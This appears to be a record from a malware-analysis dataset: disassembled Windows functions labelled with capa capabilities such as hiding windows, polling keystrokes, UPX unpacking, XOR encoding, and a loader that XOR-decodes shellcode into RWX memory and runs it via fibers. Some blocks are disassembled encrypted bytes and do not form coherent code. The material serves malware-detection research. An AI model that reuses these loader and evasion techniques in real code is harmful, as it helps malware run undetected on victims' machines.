joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421ff0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], 0
push 4
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 0x24], eax
movzx edx, byte [ebp + 8]
test edx, edx
je 0x42202d
movzx eax, byte [ebp + 0xc]
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 4
mov dword [ebp - 0x2c], eax
jmp 0x422034
mov dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 0
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4220f2
push 0
push 0
push 0
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4220f2
cmp dword [ebp - 0x1c], 0x10
jne 0x4220be
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [eax + 4]
jne 0x4220be
mov edx, dword [ebp - 0x18]
mov dword [ebp - 4], edx
push 1
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
lea edx, [ebp - 0x20]
push edx
call fcn.00421aa0
add esp, 4
movzx eax, al
test eax, eax
jne 0x4220e5
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [ebp - 0x1c], 0x12
jne 0x4220ed
jmp 0x4220f2
jmp 0x42206c
push 1
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
cmp dword [ebp - 0x1c], 0x12
jne 0x422118
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x440f20
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x69c], 0
je 0x440fd3
cmp dword [ebp + 8], 0x100
jne 0x440f9f
movzx ecx, word [ebp + 0xc]
cmp ecx, 0xd
jne 0x440f9f
mov edx, dword [ebp - 8]
movzx eax, byte [edx + 0x6a2]
test eax, eax
je 0x440f76
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
test ecx, ecx
jge 0x440f9f
mov edx, dword [ebp - 8]
movzx eax, byte [edx + 0x6a3]
test eax, eax
jne 0x440f9f
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x5c], 0
je 0x440f9b
push 1
push 0
push 0
push 0
push 0x49c81c
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x5c]
call fcn.0041eee0
xor eax, eax
jmp 0x440fd8
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x69c]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
call eax
jmp 0x440fd8
mov eax, 1
mov esp, ebp
pop ebp
ret 0x10
Function at 0x45a0a0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49772b
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
mov eax, dword [0x4b3da0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xac], ecx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x10], ecx
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 0x10]
mov dword [eax + 0x6e0], 0
mov ecx, dword [ebp - 0xac]
cmp dword [ecx + 4], 0
jne 0x45a1ab
lea edx, [ebp - 0x20]
push edx
mov ecx, dword [ebp - 0xac]
call fcn.0045a290
mov dword [ebp - 0x10], 0x40000000
push 0
sub esp, 0x10
mov eax, esp
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x18]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 0xc], edx
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp - 0xac]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax + 0x10]
mov edx, dword [edx]
mov eax, dword [edx + 0x24]
call eax
mov ecx, eax
call fcn.004191b0
push eax
mov ecx, dword [ebp - 0xac]
call fcn.00421d30
push 1
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 0x10]
call fcn.00451ce0
push eax
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 0x10]
mov edx, dword [eax]
mov eax, dword [edx + 0x24]
call eax
mov ecx, eax
call fcn.00420200
mov ecx, dword [eax]
push ecx
push 0x30
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [ebp - 0xa8]
push ecx
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 0x10]
mov edx, dword [eax]
mov eax, dword [edx + 0x38]
call eax
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xb4]
call fcn.00423160
mov byte [ebp - 0x21], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8]
call fcn.00422f40
movzx edx, byte [ebp - 0x21]
test edx, edx
je 0x45a222
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax + 0x10]
add ecx, 0x6d0
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 0x10]
add eax, 0x6d0
push eax
push 0
push 0x1002
mov ecx, dword [ebp - 0xac]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
push 4
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov ecx, dword [ebp - 0xac]
mov byte [ecx + 0x18], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x45a910
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
movzx eax, byte [ebp + 0x18]
push eax
sub esp, 0x10
mov ecx, esp
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 0x10]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 0x14]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0x14]
call fcn.00432ac0
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0x6e8], 0
je 0x45a9b6
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x6e8]
call fcn.0045a290
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x45a987
push 0
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x6e8]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x45a9b6
push 0x54
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x6e8]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esp, ebp
pop ebp
ret 0x14

Function at 0x45a9c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
movzx eax, byte [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.004331c0
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x6e8], 0
je 0x45aa52
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x6e8]
call fcn.0045a290
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x45aa23
push 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x6e8]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x45aa52
push 0x54
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x6e8]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x469590
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4b3da0]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x18]
test ecx, ecx
jne 0x4695b5
xor eax, eax
jmp 0x46967e
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x10], 0
jne 0x4695c5
xor eax, eax
jmp 0x46967e
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
shl eax, 1
call fcn.00481440
mov dword [ebp - 0x14], esp
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x4695f8
xor eax, eax
jmp 0x46967e
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x10]
add ecx, 0x1e4
call fcn.00423210
push 1
push 0
push 0
push 0
push 0x49c838
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0x10]
mov edx, dword [eax]
mov eax, dword [edx + 0x24]
call eax
mov ecx, eax
call fcn.0041eee0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x10]
mov edx, dword [edx]
mov eax, dword [edx + 0x24]
call eax
mov ecx, eax
call fcn.00419540
movzx ecx, al
test ecx, ecx
je 0x46967c
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x10]
call fcn.00434010
xor eax, eax
lea esp, [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0047dd71
mov esp, ebp
pop ebp
ret 0x10

Function at 0x46a320
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
movzx eax, byte [ebp + 0x18]
push eax
sub esp, 0x10
mov ecx, esp
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 0x10]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 0x14]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0x14]
call fcn.00432ac0
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0x6d0], 0
je 0x46a3c6
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x6d0]
call fcn.00468e00
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x46a397
push 0
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x6d0]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x46a3c6
push 0x54
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x6d0]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x46a3d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
movzx eax, byte [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.004331c0
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x6d0], 0
je 0x46a462
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x6d0]
call fcn.00468e00
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x46a433
push 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x6d0]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x46a462
push 0x54
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x6d0]
call fcn.004086d0
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x47dd71
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b3da0]
jne 0x47dd7b
repz ret
jmp fcn.0048360c

Function at 0x48eaff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00483784
and dword [ebp - 4], 0
cmp dword [0x4b84d0], 0
mov ebx, eax
jne 0x48ebb0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x48ec61
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x48ec61
push eax
call fcn.00483712
mov dword [esp], 0x4a5a30
push edi
mov dword [0x4b84d0], eax
call esi
push eax
call fcn.00483712
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4b84d4], eax
call esi
push eax
call fcn.00483712
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4b84d8], eax
call esi
push eax
call fcn.00483712
pop ecx
mov dword [0x4b84e0], eax
test eax, eax
je 0x48ebb0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00483712
pop ecx
mov dword [0x4b84dc], eax
mov eax, dword [0x4b84dc]
cmp eax, ebx
je 0x48ec08
cmp dword [0x4b84e0], ebx
je 0x48ec08
push eax
call fcn.0048378d
push dword [0x4b84e0]
mov esi, eax
call fcn.0048378d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x48ec08
test edi, edi
je 0x48ec08
call esi
test eax, eax
je 0x48ebff
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x48ebff
test byte [ebp - 0xc], 1
jne 0x48ec08
or dword [ebp + 0x10], 0x200000
jmp 0x48ec41
mov eax, dword [0x4b84d4]
cmp eax, ebx
je 0x48ec41
push eax
call fcn.0048378d
pop ecx
test eax, eax
je 0x48ec41
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x48ec41
mov eax, dword [0x4b84d8]
cmp eax, ebx
je 0x48ec41
push eax
call fcn.0048378d
pop ecx
test eax, eax
je 0x48ec41
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4b84d0]
call fcn.0048378d
pop ecx
test eax, eax
je 0x48ec61
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x48ec63
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4092b9
Capabilities:
Encode data using add xor sub operations

Disassembly:
leave
aad 0xae
mov ecx, 0x1a27e0a5
mov ecx, 0xd6f747ea
jb 0x409309
rcr dword [edi + 0x34], 1
mov bh, 0x35
in al, dx
sub dh, al
push edi
xchg esp, eax
test dword [edi - 0x10], ecx
and dword [edi + 0xa071cc4], 8
invalid
push cs
add dword [ebp + 0x2474b62c], edx
pop esi
mov byte [edi + 0x64], 0xe
pop ecx
test byte [edx + 0x372cff50], cl
invalid

Function at 0x409351
Capabilities:
Encode data using xor

Disassembly:
rcr dword [eax + edx*8 + 0x1b26e1fc], 1
xchg byte [eax], bl
cmp al, 0x62
aaa
test al, 0x7a
sub al, 0xe4
pop edi
scasd eax, dword es:[edi]
inc ebp
and dl, dh
mov ch, 0xb7
add eax, 0x3ed96783
mov bh, 0xb2
idiv edx
fistp dword [edx - 0x5b0d148d]
test edi, 0xff1affd7
test dword [edx], eax
inc ebp
xor eax, 0x38761f76
jle 0x409331
push edi
mov dword [0x7fe4b2c5], eax
pop esp
invalid

Function at 0x417e10
Capabilities:
Get disk information

Disassembly:
push ecx
push esi
push 0x4c3074
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [0x4c6aec], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [0x4c6aec], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
mov dword [0x4c74b0], eax
mov dword [esp + 8], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test esi, esi
je 0x417e66
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
pop esi
mov ecx, dword [esp]
add ecx, eax
mov eax, ecx
pop ecx
ret

Function at 0x4204cd
Capabilities:
Encode data using xor

Disassembly:
test eax, 0xd523849a
call 0x792f8de7
jb 0x420555
mov cl, 0x34
mov ebx, 0x4bfe60a
xor esp, dword [esp + ebp*8 + 0x38]
lodsb al, byte [esi]
inc esp
pop edi
xor dword [0xe5bd0a7], esp
xor dword [ebx + ebx*4], 0x66
push 0x70
push 0x478e0ede
sub byte [edx - 0x5b1be104], 0xc2
insb byte es:[edi], dx
invalid
dec eax
mov bl, 0xb0
std
in al, 0xb5
aaa
clc
invalid
invalid
pop es
invalid
Function at 0xb10980
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x536000]
add word [edi + 0x7527c0], 8
push edi
jmp 0xb109a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xb109a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb10998
mov eax, 1
add ebx, ebx
jne 0xb109bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xb109cc
jne 0xb109eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb109eb
dec eax
add ebx, ebx
jne 0xb109d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xb109b0
add ebx, ebx
jne 0xb109e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xb10a3d
xor ecx, ecx
sub eax, 3
jb 0xb10a03
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xb10a72
sar eax, 1
mov ebp, eax
jmp 0xb10a0e
add ebx, ebx
jne 0xb10a0e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb109dc
inc ecx
add ebx, ebx
jne 0xb10a1c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb109dc
add ebx, ebx
jne 0xb10a29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xb10a1e
jne 0xb10a3a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xb10a1e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xb10a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xb10a4e
jmp 0xb1099e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xb10a5c
add edi, ecx
jmp 0xb1099e
pop esi
mov edi, esi
mov ecx, 0x14d3b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xb10a7a
cmp byte [edi], 0x65
jne 0xb10a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xb10a7f
lea edi, [esi + 0x70d000]
mov eax, dword [edi]
or eax, eax
je 0xb10af7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x753538]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7536a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xb10aac
mov ecx, edi
jns 0xb10adb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7536ac]
or eax, eax
je 0xb10af1
mov dword [ebx], eax
add ebx, 4
jmp 0xb10ac9
call dword [esi + 0x7536a8]
mov ebp, dword [esi + 0x7536b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xb10b2b
sub esp, 0xffffff80
jmp 0x401600
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40b044], 1
mov dword [0x40b040], 1
mov dword [0x40b03c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40b014], eax
mov eax, dword [0x40b050]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40b064]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40b04c]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x409014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x401510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows fibers

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x19c
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18e]
mov ebx, section..rdata
mov edx, 0x162
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x162
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 0
jmp 0x4015d1
lea edx, [ebp - 0x18e]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
mov edx, eax
mov eax, dword [ebp - 0x20]
xor eax, edx
mov ecx, eax
lea edx, [ebp - 0x18e]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov byte [eax], cl
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
cmp eax, 0x161
jbe 0x4015a9
mov eax, dword [ebp - 0x28]
mov edx, eax
lea eax, [ebp - 0x18e]
mov ecx, 0x162
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFiber]
call eax
sub esp, 0xc
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SwitchToFiber]
call eax
sub esp, 4
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4018f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
